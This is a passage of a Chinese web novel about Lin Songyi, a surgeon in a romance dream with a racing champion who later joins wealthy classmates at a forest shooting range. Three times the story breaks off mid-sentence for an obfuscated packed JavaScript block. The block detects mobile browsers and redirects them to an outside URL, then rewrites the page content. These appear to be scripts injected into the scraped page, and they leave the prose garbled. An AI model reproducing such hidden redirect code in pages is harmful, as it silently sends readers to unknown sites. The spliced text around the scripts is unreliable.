很难真的做到心如止水,总是控制不住从心底漫出一点不自在。
好在队友很快过来叫人,临上场,付绪然还不忘叮嘱:“等我回来。”
林颂宜坐着的位置,上下场都可以被看到,视野绝佳,也方便她看清全场。
赛道上的11号今天一改往日作风,舍弃overcut改换策略一路飞速驰骋,刷出了比以往更快的圈速。
中途几次超车都又急又猛,气势凌人,林颂宜的心跳也不由跟着加速。
看到11车稳定发挥成功夺冠,林颂宜整个人才放松下来。
黑白方格旗挥下,宣告比赛结束。
付绪然拿下冠军头衔,另一个队员也成功摘获亚军。
一支车队同时斩获冠亚军两份荣誉,台上选手开香槟相互庆贺,台下其他人也欢呼不止。
林颂宜没有急着上前,而是站在原地,旁观属于付绪然的光辉时刻。
但后者显然不这么想。
付绪然转头看向她所在的方向,顺手把奖杯交给边上的队友,低声说了句什么,很快又朝着这边快速奔来。
眨眼的功夫,林颂宜整个人被拥进一个宽阔的怀抱。
耳边那道气息有些急促,可他本人毫不在意,温热的唇畔抵在林颂宜左侧,向她热烈表白:“一一,好喜欢你。”
声音里还带着点微喘,拥抱力度被加深,有酥酥麻麻的感觉,自左耳延伸至心口,心尖像是被什么东西轻轻扫过,无端勾起一阵颤栗。
这边的温情脉脉被镜头捕捉,导播特意将两人的身影切到大屏幕,很快引来众多关注。
不知是谁带的头,热烈的起哄声连结成网,两人被声浪兜在中心,林颂宜这下是真的想躲了。
但她很快又安慰自己,这没什么,他们这是在接受大众的祝福,
林颂宜尝试站在高配得感的视角,坦然去面对欢呼和调侃。
避无可避,俩人干脆大大方方牵着手走向人群。
中途,付绪然低头小声征求她的意见:“陪我一起参加庆功宴,可以吗?”
获得林颂宜首肯,付绪然脸上笑容更甚。
见付绪然带着人过来,熟识的人都和林颂宜打起招呼,在和付绪然交往之前,众人最先认识的,是林颂宜作为医生的那个身份。
所以,付绪然的队友们更习惯叫她“小林医生”。
***
庆功宴现场一派喧闹,除了车队的队员,还有他们各自的朋友,人多热闹,饮酒游戏,在场的人悉数自便。
付绪然身为今晚的主角,难免需要应和一下场面,被人叫走后他也不走远,林颂宜能感觉得到,自己的位置,始终被框在付绪然的视线内。
林颂宜暗自假设了一下,如果现实中交往的对象,在人群纷杂又非自己主场的情况下,还能分出精力时刻关照女伴,自己应该会挺高兴。
林颂宜不喝酒,坐在一旁吃着水果倒也没有不自在,只是心下有些疑惑,这个梦怎么还没结束?
正想着,察觉身边有人落座。
以为是付绪然,刚想问他怎么回的这么快,抬头发现来人是付绪然的队友。
林宇川。
两人中间隔着一个座位。
林颂宜率先打破沉默,将面前的果盘往那边推:“吃水果吗?”
品类丰富,林宇川看了片刻,拿不准哪一样更好吃,干脆向林颂宜讨经验:“哪一种好吃?”
“这个。”林颂宜指向其中一串青提,“不用吐皮,吃着方便。”
梦里的味觉也十分真实,林颂宜刚才接连吃了好几颗。
林颂宜的推荐被采纳,林宇川伸手尝了一颗,片刻后给出评价:“不错。”
脆甜口,九分甜一分酸,果香很浓郁。
“聊什么呢?”
林颂宜:“……”
这熟悉的callback是怎么回事?
好在这回梦境没有重置。
付绪然在林颂宜另一侧落座,伸手揽上她的肩膀,他大概是喝多了,很自然地将头抵在女友的颈侧。
温热的呼吸喷洒在林颂宜脖颈处,颈动脉的鼓动无声加速,林颂宜不自在地轻抬了下肩膀,然而那颗脑袋纹丝未动。
“说这个。”林颂宜将一颗青提递到付绪然嘴边,“你要尝尝吗?”
后者自然张嘴,将青提咬进嘴里,动作间,嘴唇轻轻蹭过林颂宜的手指。
林颂宜反应敏捷迅速收手,见他还要追过来,伸出手指抵在他头上,将靠在自己肩上的人推开:“不许闹。”
她的力气并不大,但付绪然足够乖觉,端正姿态顺势坐起身,对刚才吃下去的青提给出高度评价:“很好吃。”
“那你多吃点。”
“不了,回去吗?”
“现在就走合适吗?”
“有什么不合适的?”
也对,梦里有什么不合适的。
二人刚准备起身,就听到旁边传来一声脆响。
是玻璃杯落地的声音。
现场声音过于吵闹,无人在意角落里的一点躁动。
“抱歉,没拿稳杯子。”
隔得近,能听出林宇川语气里掺着压抑的痛楚。
林颂宜恍如大悟。
自己的设定是一名医生,那这个梦境必然会让这一身份发挥充分作用,以便自己更好地体验一把救死扶伤。
来不及感叹梦境逻辑严谨,出于职业本能,林颂宜快速上前靠近对方查看状态,同时出声询问:“你怎么了?哪里不舒服?”
林颂宜试图观察对方的面色,奈何视线昏暗,她看不清。
她下意识抬头看向付绪然。
后者上前扶起林宇川,冲林颂宜温声道:“这里人多,去隔壁,你替他看看。”
***
空包厢内亮如白昼,林宇川额角涔涔冷汗不断析出,唇色已经痛到有些发白。
林颂宜隔着衣物替他检查,见他连抬手都很艰难,心下对他伤势的判断,又严重一些。
“我需要检查手臂韧带的情况。”
林宇川身上穿着一件长袖卫衣,袖口有些紧,往上拉扯到最大限度,也只能扯到手肘的位置,况且他此刻痛的厉害,林颂宜的动作特意放轻许多。
她需要判断一下,如何操作才能不加剧伤患的伤情。
林宇川掀起眼帘看向林颂宜,见她面有忧色似在犹豫,他抬起完好的那只手,忍痛迅速脱下上衣:“这样呢?”
动作太快,林颂宜有些错愕,见人家脱得迅速,林颂宜也没有扭捏。
医者眼里无分别。
光线炽烈,林宇川本就白皙的皮肤被衬得愈发白,似是痛极,随着林颂宜的触碰检查,他时不时闷哼出声。
“初步判断是手臂振动综合征,韧带估计也伤了。”但这种情况通常不会痛到这个程度,“你今天下场的时候没感觉吗?”
林颂宜抬眼观察他的神色,见他不答又重复一遍问话。
林宇川仰靠在沙发上,疼痛让他的呼吸节奏变得急促,深吸浅呼,白皙的胸膛微微泛起一层薄红,呼吸间胸口微微起伏。
两人对视,那双桃花眼已经有些迷离,显然是疼迷糊了。
半晌,林宇川才开口:“那会儿痛的不厉害,我还用了姐姐你送的礼物,我以为和之前一样,原本想着明天让队医帮着做个理疗就行。”
林颂宜微微蹙眉,病程有些奇怪,但病理的事情又不好空口直断,眼下这种情况,需要配合专业仪器才能做更进一步的检查。
包厢里的温度有些低,林颂宜拿起一旁被脱得乱糟糟的上衣,稍作整理递给林宇川。
“自己能穿上吗?”
林颂宜是站着的,此刻微微弯腰俯身,灯光将她的影子折射到男人胸口位置,明暗交叠,挡住了大片雪色。
视线落回林宇川脸上,林颂宜将衣服往前递了递。
包厢的门恰好被推开。
三方一时静默,无人出声。
气氛有一瞬的怪异,林颂宜率先开口:“人呢?”
“喝多了,怎么样?”
“得去趟医院。”
“行,走吧。”
两人默契问答,一来一回,一旁的伤患被彻底剥夺话语权。
付绪然上前接过林颂宜手里的衣服,一屁股坐到林宇川身侧,动作有些笨拙地往兄弟头上套衣服。
见他抓着人完好的那条胳膊直接往袖子里怼,林颂宜怕他失手加重伤情,开口提醒:“你轻些,他的手伤有些严重。”
付绪然伸到一半的手,闻言微顿,随后帮着套袖子的动作轻了一点。
怎么说呢。
对比刚才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026385|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那一下,确实是轻了不少。
至少林宇川没有痛呼,应该算是……轻的吧?
司机早已等候在外,付绪然扶着林宇川坐进车内,自己也顺势往里一坐,俩人在后排落座。
他出声安排林颂宜:“一一,你坐前排。”
林颂宜自然没有异议。
***
很快便到了就近的医院,陌生场地,不是自己的主场,即便林颂宜自己是医生,她也不可能越俎代庖,详细和医院这边的急诊医生做了对接,护士引着林宇川去做检查。
林颂宜和付绪然在外边等着。
俩人一时都没有开口说话。
林颂宜这会儿是真的不懂这个梦的逻辑了,自己身为医生这层身份的剧情也走完了,为什么梦境还没结束?
医院深夜的长廊有些安静,是林颂宜记忆里熟悉的氛围,大概是熟悉的环境更有利于思考。
林颂宜将梦境进行复盘,思路逐渐被打通,心下有了新的判断。
这是个恋爱副本,自己这个身份的设定是为了走剧情,但重点还是要放在谈恋爱这件事上。
顺着这个思路,林颂宜继续复盘。
前头的剧情,她和付绪然这个男朋友的相处,都没什么不对,变故在林宇川身上。
刚才在包厢内,林宇川的伤痛表现,有表演的成分。
关于这一点,林颂宜选择相信自己的职业判断。
至于原因——
林宇川喜欢她。
判定假设初步成立。
这事儿付绪然知道吗?
脑中闪过付绪然的种种表现,林颂宜后知后觉反应过来。
付绪然知道。
付绪然还吃醋了。
过往的现实经验以及梦境经验,都无法为林颂宜提供助力。
面对当下的情况,她需要基于恋爱设定,给出一个全新的解法。
“累了吧?我……”付绪然说到一半的话,被手上传来的触觉打断。
掌心触摸到一抹寒凉,付绪然的视线落到交握的手上。
作为外科医生,林颂宜的手算不上细腻柔软,相反还很有一些力量,长期频繁的操作练习,在她手上特定的位置都留下了薄茧,指甲常年被修剪的很干净,筋骨看似纤弱实则无比坚韧。
救死扶伤。
是一双很有力量的手。
付绪然将她两只手拢进掌心,严丝合缝。
“冷了怎么不说?”
林颂宜开口,却是答非所问:“你不开心。”
是肯定句。
付绪然下意识收紧掌心,对上林颂宜的视线,他的眼神很温柔,眼底的爱意汹涌,声音透着安抚意味:“没有不开心,是心疼你,我让司机先送你回去?”
“因为林宇川。”林颂宜语气笃定,“是我哪里做的不好,让你产生误会了吗?”
“没有,你别多想。”付绪然的语气突然有些急,“一一,我没不开心。”
林颂宜却是不理会他的辩驳,自顾继续说下去:“给他送肌内效贴,是感谢他带我找你,刚才替他做检查,是我的职业职责所在。”停顿片刻,林颂宜继续道,“我和他有联系方式,但私下没有过交集,我也忘了是什么时候加的好友。”这是实话,梦境没给出这部分的提示。
“必要的肢体接触,在医患之间无可避免,虽然林宇川长得也好看,但我对他没有想法。”
林颂宜平静与付绪然对视:“这样的解释,你能接受吗?”眼见付绪然又想避开视线,林颂宜抬手稳住他的头,不给他回避的机会。
“你很喜欢我。”林颂宜自信发言,反正梦里的事,醒了都不作数,“以我对自己的了解,我也不会辜负你。”
“但如果你有介意的地方,却不愿意坦诚相告,那我也不会有很多耐心去反复思量你的想法。”林颂宜的语气有些重,“相爱应该是很美好的事,为了相爱消耗自身,是得不偿失。”
“你说呢?”将问题抛给对方,林颂宜就这么安静地与之对视。
半晌,付绪然才开口,语气有些艰涩:“对不起,是我小心眼。”
林颂宜从不随意说一些贬损自身的话,她更习惯就事论事:“亲爱的男朋友,你应该更信任我一些,也应该对自己更自信一点。”
稍稍停顿,林颂宜以一种轻松平淡的语调,诚挚陈述自己的想法:“我很喜欢你,才会和你交往。”
这是实话。
如果不是足够心动,林颂宜不会放任别人踏足自己的世界。
林颂宜习惯根据当下的处境,改变自己的输出策略,虽然这只是一个梦,但按照现实逻辑,自己一定是很喜欢这个男朋友,才会选择拥抱对方。
对于自己很喜欢的人,开口表达爱意就没什么好难为情的了。
付绪然眸中的复杂情绪一扫而空,取而代之的,是一股蓬勃汹涌的情意。
纵使夏日烈阳,也抵不过爱人眼底的华光。
“我可以亲你吗?女朋友。”
有轻羽落到额间,顺势而下,鼻尖相触,有人眼睫微颤,呼吸交缠似藤萝系甲,感知被无限放大,心跳声却在此刻为始作俑者助威。
耳际有雷声震动。
唇上触到一抹炽热,柔软却足够动人心魄,那是炙热真心跃动间泛出的滚烫。
4. 第4章
林颂宜从醒来到现在,已经在床上懵了有一会儿,一晚上的时间,梦境不断,大脑皮层十分活跃,她醒的比闹钟还早一些。
这一整晚的体验对她来说,有些新奇。
醒来倒也不觉得困倦无力,相反,她现在精气神很好。
相比起以往的梦境,这是林颂宜第一次梦到事业稳定期的剧情。
以至于醒来后,她总忍不住回味梦中的体验。
那种专业技能娴熟,一整套医学体系了然于胸的感觉,实在令人着迷。
那是另一个,完全不同于当下的更为成熟的自己。
做梦的时候,人往往会比现实更勇敢一点,心态也会比现实更自信。
喜欢就坦然表达,不内耗,也不拖延。
那是一种全然以自我为主体的处事方式,也是现下林颂宜还无法做到的事。
思绪发散,林颂宜想起梦里的情感纠葛,她的脸颊有些发烫,又莫名觉得有些好笑。
这大概也算体验了一把修罗场?
最后那个亲吻,克制又汹涌,很矛盾,却又很动人。
是人与人之间,剖白真心后诚挚的情感连接。
虽然醒来已经想不起梦中人长什么样,但梦中的情节却历历在目,潜意识也还记得,那两个暗自交锋的男人,各方面条件都十分优越。
那是现实不会和自己产生过多交集的一类人。
面颊发烫,林颂宜觉得有些难为情,为着这不符合现实的梦境。
这种时候,林颂宜反而能直面内心最真实的自己,这么多年过来,她并不是真的不期待爱情发生,只是生存的物质需求,排在了精神需求前面。
最重要的是,她深知自己的择偶标准,远高于自身的实际条件。
所以也只是在心里想想,并不曾真的不自量力付诸实践,有人问起,一概用“看缘分”打发,林颂宜不觉得这有什么问题。
只是想想,又不妨事。
但人总是骗不过自己的大脑。
现实压力丛生的时候,大脑大概启动了某种自保机制,才会在睡梦中梦个大的。
乱七八糟想了一通,闹铃声响起,林颂宜抛开思绪起身洗漱。
***
行程有变动,昨天陈松野就说过,今早有人过来接,不需要另外备车,林颂宜便没有通知司机。
林颂宜打电话让酒店给自己送了份早餐,快速吃完,又检查一遍着装,这才上楼和另外两人汇合。
等着李清越收拾打扮的功夫,林颂宜问过需求,为俩人叫了早餐送进房间,又去检查一遍李清越的出行装备,确认无误后,才找了个位置坐下等待。
陈松野告知二人,其他人已经到了,一起出游的都是同一圈层的,不好叫人多等,三人没有拖延,很快下楼。
到了楼下,林颂宜才知道,这一趟三天两夜的行程,是大家开着房车自驾游,去的是一个森林靶场,可以自由射击,也能徒步游玩,项目颇为丰富。
李清越和陈松野先行上车,林颂宜落后一步,拍下车牌同步发送给司机报备后,才跟着坐上车。
这些年陪同李清越出行,林颂宜也算见过不少世面,但眼前这辆高达八位数的豪华房车,内部配置还是令她有些咋舌。
有钱人的世界,果然充满无限可能。
白金内饰豪华典雅,功能区划分详细,淋浴间、小卧室、酒柜料理台一应俱全,空间宽敞的很,目测能同时容纳二十来人。
俨然是一座可移动的小别墅。
作为最后一个上车的人,林颂宜的出现并没有引起太多关注,目之所及,车上加上司机一共有七个人。
陈松野正在和昨天那位“涛哥”交谈,李清越坐在另一侧,边上是两个眼生的女生。
见林颂宜上了车,李清越抬手招呼她坐到自己身边,林颂宜从善如流在边上落座,自然地与李清越手臂相触,腕上手环随即实时同步两人的定位信息。
对于林颂宜的一些列操作,李清越接受良好,比起未婚夫陈松野,在可靠度这一块,林颂宜在她这还要更胜一筹。
有林颂宜随行的时候,李清越十分安心。
之前那几分钟的时间,李清越已经和另外两个女生相谈甚欢,在她的介绍下,林颂宜得知,亚麻色长发的高挑女生叫徐心荟,另一个体态较为丰腴的女生是温若甯。
“你们好,我是林颂宜。”
一句简短自我介绍,收获两份友好,四人落座,主要是她们三在说,林颂宜的话不多,只间或问到她头上,才会回复几句,不热络但也不孤僻。
有人外向活泼,就有人内敛缄默,倒也没人会去挑她的刺。
在边上三人的交谈声中,林颂宜拿出手机开始处理信息,邮箱置顶是导师发来的论文最终指导意见。
其实到了眼下这个时间点,林颂宜也知道自己的论文基本已经稳妥,但她点开邮件附件后,依旧十分认真的将所有信息都过了一遍。
边上的李清越视线不经意瞟到邮件标题,出声问道:“论文定稿了?”倒不是她有意要看,林颂宜举着手机的姿势,正好暴露在她视线范围内。
她比林颂宜定稿的时间要更早一点,现在才能玩的如此肆无忌惮。
“嗯,算是定了。”林颂宜点头,手下同时回复着各类消息。
“恭喜啊颂颂,苦尽甘来。”两人的交谈没有避着人,一旁的温若甯率先出声道喜,过了论文这一关,求学生涯也算是苦到头了,着实值得一声道贺。
徐心荟也笑着冲林颂宜祝贺:“恭喜你哦。”
“谢谢。”林颂宜同样回以一个略显羞赧的笑。
“你们都不知道我之前有多痛苦,天杀的,毕设定稿前一个月,我焦虑到天天失眠,就这样体重也一点没少,还胖了好几斤。”温若甯说起这个,满脸心有余悸苦大仇深。
惹得李清越和徐心荟纷纷附和。
虽然专业不同,但大家对于必经的毕业季,感想近乎一致。
太磨人了。
几人随意攀谈,偶尔也相互分享一些有趣的收藏,很快便熟识起来,后半程,相互间交流变得更随意轻松。
林颂宜在聊天的间隙,抽空看了眼机票,眼看价格依旧高悬,心下叹气。
大概是她的失望表现的过于明显,引起了正对面温若甯的注意,几人这一路相处愉快,她开口也少了些社交客套:“怎么了颂颂?”
“看机票呢,好贵的一张票。”林颂宜垮着脸,大方向三人展示了一圈机票价格。
除了林颂宜,其余三人都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026386|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家境不俗,但大家对于票价高昂一事皆表示不满。
有钱不代表对事物价格没概念,尤其是几人都是商人家庭出身,对于金钱只会更为敏感。
这头几个女生的吐槽,惹来了边上两位男士的注意。
陈松野和涛哥不知道什么时候已经停下交谈,听清楚几人讨论的内容,涛哥乐呵呵道:“我还当是什么事,一会儿哥替你们求求付少,到时候让他捎你们一程。”
陈松野闻言也跟着笑道:“涛哥你也帮我说说情,也捎我一程呗。”一语双关,双方心照不宣。
几人正说笑,就听到休息室的门口传来一声轻响,随即房门被人从内部打开。
刚才话题中心的另一个当事人,就这么猝不及防出现在几人眼前。
众人:“……”
虽然说的不是什么见不得人的内容,但这个场面,属实有些尴尬。
还是涛哥稳得住,打破沉默率先招呼:“哟,付少,休息好了?”一派调侃的语气,两人的关系显而易见的亲近。
大概是刚睡醒的缘故,付绪然的脸上没什么表情,只略一点头算作回应。
视线在车内几人身上逡巡一圈,很快收回,付绪然径直走向水吧台给自己开了瓶水。
心里知道对方刚才只是顺带看了自己一眼,林颂宜依旧觉得,那道落在她身上的视线有些锐利,和对方俊逸的外表相去甚远。
“要求我什么?”
见付绪然主动开口,涛哥复述了一遍刚才聊的内容,直白表示他的飞机够大,想求他捎几人一程。
付绪然听完,面上没什么多余的表情,点头应下:“我让助理提前联系你们。”
除了涛哥,大家都是同一届的毕业生,相互协调一下归国时间,还是很好统一的。
在场的,除了林颂宜以外,其余人可不是为了蹭一张机票这么简单。
各自家里的业务往来人情交际,往后都要交到他们手上,这一趟看似是蹭座,实则也算是为后续的交情抛块敲门砖。
回国后,为表感谢,各自必然会有所表示,一来一回交集可不就有了。
包括今天这趟出行,估计大家也都心知肚明,玩乐在其次,提前认个脸熟才是共识。
待下车看到其他人,林颂宜在心里默默给自己比了个大拇哥。
自己看待事物的眼光果然又进步了。
心里分析了一堆,林颂宜面上却是不显,她也确实没什么好挂心的。
她的存在不过是个小虾米一只,纯粹就是顺带,没准对方到最后都记不住自己是谁,一切都与她关系不大,此行最大的收获,就是省了一张接近两万块的机票。
想到这,林颂宜心下颇为高兴,连带着面上也带出点笑意。
李清越算是了解林颂宜,见她这副样子,结合刚才的事情发展,心下明了,有些好笑又不免气她志短,习惯性和她玩笑:“蹭个座就这么高兴?”
林颂宜默认:“能省两万块呢!”
“出息,你怎么不梦个大的,一举把人拿下。”话一脱口,李清越就反应过来说的不妥,好在身边没有其他旁听者。
眼见林颂宜露出一副被震撼的表情,李清越又觉得好笑,知道林颂宜胆小,也不再逗她,拉着人往人群集合处走去。
5. 第5章
到了人群跟前,林颂宜才发现,这次的出行人数,远比她想的要多一些。
不等她点完一遍具体人数,就不见了李清越的人影,林颂宜四下张望,远远地看到对方和陈松野凑在一起,知道对方不是单独行动,林颂宜放下心,刚准备去边上坐着,转眼手里就被塞了一件队服和一把道具木仓。
见林颂宜一脸茫然,已经换好队服的温若甯和她解释:“咱们一会玩红蓝对抗,人没到齐,颂颂你先凑个数顶上。”边说着就推着她往边上走。
游戏规则也很简单,十人一队,兵分两路。
哪一队先拿下对方的阵地标物,哪一方就算胜出,此外,工作人员还在沿途各做了一些红蓝标的物,最终结算,胜利方要集满敌方标的物数量的三分之二,如果数目不达标,则视为无效进攻。
一帮人本就是图个热闹,简单了解规则后,也不讲什么前刺、进攻、包抄策略,刚组完队便兴致勃勃四散开来。
这回他们是包场,靶场在众人到来之前,就已经做了清场和安全监测,为避免有人徒步走远发生失联的可能,靶场还给每个人,都配备了一个定位通讯求救手环,中途如果有任何不适,随时可以按下按钮在原地等地救援。
这样一来,大家玩起来更是毫无负担。
林颂宜这一组,一共六个男生,女生则刚好是刚才一辆车上同行的四人。
几人沿着手环地图指示的方向前行,男生步子迈得快一些,很快就跑到了前头,林颂宜对这类体力活动并不热衷,见李清越跟着陈松野冲劲十足,她便安心慢悠悠缀在后头。
相较于其他人,今天要徒步的这条路线,对于林颂宜来说完全没难度。
倒也不是她自夸,毕竟从小在山里长大,别的本事没有,翻山越岭开路的技能简直堪称童子功。
虽然走得慢,林颂宜也有自觉,不能真拖人后腿,只是与前面的队友隔着些距离,偶尔见距离拉远就跟着往前赶一赶。
走过第一个岔路口,林颂宜见前面几人都停在原地,以为是自己的行为让人产生了误解,刚要开口解释,就听到其中一个男生招呼大家。
“你们女生体力跟不上,就在后头慢慢走吧,后面的路不好走,哥几个去前面冲一波,你们等着拔旗就行。”语气虽然很正常,却带着点烦人的调调,很有些自大的成分。
原以为徐心荟是个温和脾性,结果第一个呛回去的就是她:“看不起谁呢?我打十环的时候你还在瞄靶呢。”说完,引得一片哄笑。
刚才开口的那个男生,林颂宜有印象,组队的时候,顺带记了一下队友的名字,这人叫向恒。
闻言,向恒像是被气乐了,也不和徐心荟辩驳,只说:“行,那你们就跟紧了,中途体力不支记得自觉按手环。”
“谁先倒还不一定呢,这才哪到哪。”李清越紧随其后自信发言,话是这么说,她到底不了解徐心荟和温若甯的真实体力,转而小声询问她们。
后头两个人平时也都没少上私教课,对自己的体力都有一定自信。
多年的相处,李清越对林颂宜的体能了如指掌,她只是懒得动,但这不代表她体能不佳。
“你呢,怎么说?”
一个对视,见李清越冲自己挑眉,林颂宜有了数,知道对方今天是下了决心要赢,便从善如流回她:“我开路。”
“行。”
眼见两人跟打哑谜似的,徐、温二人都面露不解,只有一旁的陈松野知道,刚才向恒的话,惹了李清越不高兴,但他也不会多说什么,女友的心情最重要,一切只管听她指挥。
“咱们走吧,今天姐带你们飞。”李清越和徐、温二人说完,一手一个推着人往前继续前进,见她们频频回头看林颂宜,出声安抚,“别担心,颂颂超厉害。”
直到几人走远再看不见身影,林颂宜从手环里调出地形图,对齐几个方位,仔细观察了一下周边地形,随后挑中一个方位准备出发。
***
这一片的地形总体比较平缓,气候使然,周遭灌木丛生,枝叶茂盛,乍一看就显得荒芜了些。
林颂宜活动完四肢,扎紧袖口和两边裤脚。
敢走小路是一回事,她对蛇虫鼠蚁,依旧有着不可避免的生理厌恶,花点时间做准备,能避开大部分昆虫的隐藏攻击。
抄小道向上爬到一定高度后,林颂宜打开和李清越的共享手环,画面上显示着两个平行移动的红点,边上是两点各自的经纬定位,此刻代表李清越的那个红点,反而要落后林颂宜一些。
这就意味着,一直缀在后头的林颂宜,已经超前赶在了大部队前头。
站得高自然看得远,也看得更清楚,隔着一些距离,林颂宜就看到斜上方的位置,固定着一个标的物。
又看一眼自己身上的蓝色队服,确认上面那个是对面的标的物,林颂宜举起道具木仓,屏息凝神,脑内回想一遍打靶要领。
身定、心定、呼吸定。
瞄准,射击。
险险擦边击中,随即广播宣告【红队标的物-1】。
太久没练,多少有些手生,林颂宜倒也没有百发百中的本事,只是熟能生巧,她做事又一向能静得下心,按她正常的水平,精准度应该要更高一些。
刚才那一把,就当是试验手感,林颂宜放下手继续往前,并不给下面的人跟上自己的机会。
***
下头一行人,听到头顶乍然传来的提示音,在场的,除了李清越和陈松野,全都面露疑惑。
“哪个傻子连自己的靶都分不清。”向恒嗤笑出声,和旁边的人吐槽:“上来就白送,对面这把不得把自己气死?”
不明就里的几个男生,也都只以为是对手错了眼,完全没往林颂宜身上想。
只李清越冲徐、温二人面露得意,小声问道:“厉害吧?”她们的声音不大,加上还隔着些距离,前头的几个男生也没听清,只以为是在闲聊。
李清越见面前二人目露惊叹,她看的又是一乐,只希望林颂宜能再多打几个靶,好挫挫某些傻子自以为是的锐气。
最好能连中十环一个不留。
反正今天,她自己打不打的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026387|194430||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到无所谓,只要傻子打不到就行。
***
林颂宜一路走得十分稳当,间或会抓着灌木枝丫借力攀爬几步,前进的路上,大部分时候都走得很平顺。
也是因为她抄小路抢到了时间差,往后又顺利收割了对面两个标的物。
直到前方头顶第三次响起广播提示,以向恒为首的几个男生,终于反应过来意识到哪里有些不对劲。
再一看跟在后头的几个人里,早已没了最后那个女生的身影,即便再不愿意相信,也知道自己刚才犯了蠢。
不敢去看身后几个女生的脸,但后者显然没有不嘲笑的打算。
“哟,反应过来啦?我们颂颂厉害吧?”出声的是温若甯,她的声音很甜,说出口的语气也很正常,但就是过于正常,显得中靶这件事好像很轻松似的。
对于向恒几人来说,嘲讽意味简直拉满。
几人也不停留争辩浪费时间,只一个劲默默加快步子往前赶。
这一局到现在,两方对垒,输赢已经不是重点,在队内保住面子才是当务之急。
林颂宜抢先击中红队第四个标的物的时候,陡坡另一侧斜前方的位置,也传来了蓝队标的物第二次被击中的广播提示。
意识到时间差被逐步缩短,林颂宜预估了一下双方的进度,脚下的步子不由加快。
这边林颂宜才走出没多远,就听到身后坡底传来一声广播提示。
红队标的物再次被人击中。
隐隐还能听到女生的欢呼声。
看这架势,八成是队里的女生打中的,林颂宜也不免跟着高兴起来。
不管是谁,只要不是向恒打的,那就是打得好打得妙。
林颂宜停在原地判断了一下大致情况,估摸着是因为标的物设置的太低,进入了自己的视线盲区。
好在底下还有队友能及时补木仓。
***
一如林颂宜所想,刚才走在下面的一行人,莫名其妙就形成了队内男女对抗的形式,双方都已经抛开最终的输赢,此时和红队的比拼已经不是重点,队内哪边能压制另一边,才是今天的主菜。
前头男生忙着赶路,甚至其中一人还出声招呼了陈松野,估计是真气性上头了,全然忘了陈松野边上的就是他未婚妻。
李清越倒不觉得有什么,挥挥手让陈松野跟紧男生大部队,那姿态颇有些云淡风轻的架势。
玩归玩,也不好真的因为一场游戏把彼此的关系闹僵,闹得太难看,就违背了这场出游的目的。
陈松野冲着李清越嘱咐几句,很快小跑着跟上前面几人。
他得找机会缓解一下队内的对抗氛围。
李清越见状,问过两旁徐、温二人的意见,最终三人一致决定赶上前头的大部队。
就算最后没办法率先拔旗,能捣个乱给林颂宜争取点时间也是好的。
三人想法一致,就也跟着往前加快进程。
没多会儿的功夫,就听到前方广播提示【该标的物比分无效】。
这头的众人:“?”
6. 第6章
林颂宜看着眼前的三男一女,心下有些无语。
她怎么也没想到,出来玩个游戏,还能碰上这种糟心场面。
游戏规定,双方同时击中同一个标的物,则该标的物的比分作废。
要是这一处,只有一个红队的标的物,对方动手拦截比分,林颂宜还能理解。
偏偏这一处相对的两个方向,一边挂着一个红队标的物,另一边相隔几步远的位置,明晃晃还挂着两个蓝队的标的物。
大概是因为本身游戏设置就是为了娱乐,工作人员在设置标的物的时候,也不怎么上心,才怎么方便怎么来。
对面这人要是怕自己比分被抢先,完全可以把边上两个蓝队标的物都打下来。
这游戏虽然规定,同时打中一个标的物比分作废,但也规定了,同时击中同一个标的物的两人,最后要进行一场加时赛。
陪着李清越闹归闹,那也仅限于队内男女生的意气之争,林颂宜又不是真想在人前出挑。
鬼知道这里头会因为什么得罪人。
这些人虽然以后离自己的生活都很远,但万一要是遇上个小心眼的,那就是一个大麻烦。
看这架势,对面显然不是个大方的主。
林颂宜毫不怀疑,对面刚才抢靶的那个人,一通操作自己拆了自家的台,根本就是有病。
除了为首的那个男人,其余几人都穿着红队的队服,此时面上神情也都比较友好。
唯独那个穿着绸面黑衬衫的男人,五官锐气逼人,眉眼间距压得很低,此刻蹙着眉盯得林颂宜直发毛。
林颂宜谨慎惯了,对于危险的感知力一向很敏锐,即便对方不开口,也能从气息上感受到,那人对自己抱有十分的恶意。
场面一时有些僵住,几人相互都陌生的很,但看林颂宜穿着的衣服,知道是一起出来玩的。
双方陷入静默,林颂宜刚要张口,对面一个寸头男就先开了口:“你们队怎么就你一人?你走岔路了?”
章唯眼下还不清楚林颂宜的具体身份,又怕真要闹出事会造成一桩新麻烦。
他看一眼盯着人没个好脸的顾澜封,简直要给前面这位祖宗跪下了,这才刚被家里放出来就不能消停会儿吗?
看这架势,唯恐顾澜封又要闹幺蛾子,章唯忙不迭出来打圆场。
